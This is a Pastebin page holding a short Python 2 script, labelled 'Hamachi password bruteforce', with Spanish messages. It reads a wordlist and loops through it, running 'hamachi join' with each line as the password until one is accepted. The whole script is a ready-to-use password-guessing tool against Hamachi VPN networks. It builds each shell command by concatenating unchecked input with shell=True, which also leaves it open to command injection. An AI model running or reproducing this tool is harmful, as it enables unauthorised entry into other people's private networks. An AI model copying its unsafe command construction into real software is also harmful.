Advertisement
Guest User

Hamachi Brute Force

a guest
Jan 24th, 2012
576
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.16 KB | None | 0 0
  1. #!/usr/bin/python
  2. import socket
  3. import urllib2
  4. import sys
  5. import os
  6. import string
  7. import urllib
  8. import re
  9. import subprocess
  10.  
  11. class Command(object):
  12.  
  13.     def __init__(self, command):
  14.         self.command = command
  15.  
  16.     def run(self, shell=True):
  17.         import subprocess as sp
  18.         process = sp.Popen(self.command, shell = shell, stdout = sp.PIPE, stderr = sp.PIPE)
  19.         self.pid = process.pid
  20.         self.output, self.error = process.communicate()
  21.         self.failed = process.returncode
  22.         return self
  23.  
  24.     @property
  25.     def returncode(self):
  26.         return self.failed
  27.  
  28. print '|-----| Komtec1 komtec1[at]gmail[dot]com |------|'
  29. print '|-----|    Hamachi password bruteforce   |------|'
  30. red = sys.argv[1]
  31. archivo = sys.argv[2]
  32. num = 0
  33. try:
  34.     f = open(archivo)
  35.     print 'Todo bien, sigamos con el code'
  36. except :
  37.     print 'No se puede leer el archivo'
  38. while True:
  39.     linea = f.readline()
  40.     if not linea: break
  41.     resultado = Command('hamachi join ' + red + ' ' + linea).run()
  42.     res2 = resultado.output
  43.     if res2.find("failed") >= 0:
  44.         print resultado.output + ' pass: ' + linea
  45.     else:
  46.         print 'Password encontrado: ' + linea
  47.         sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement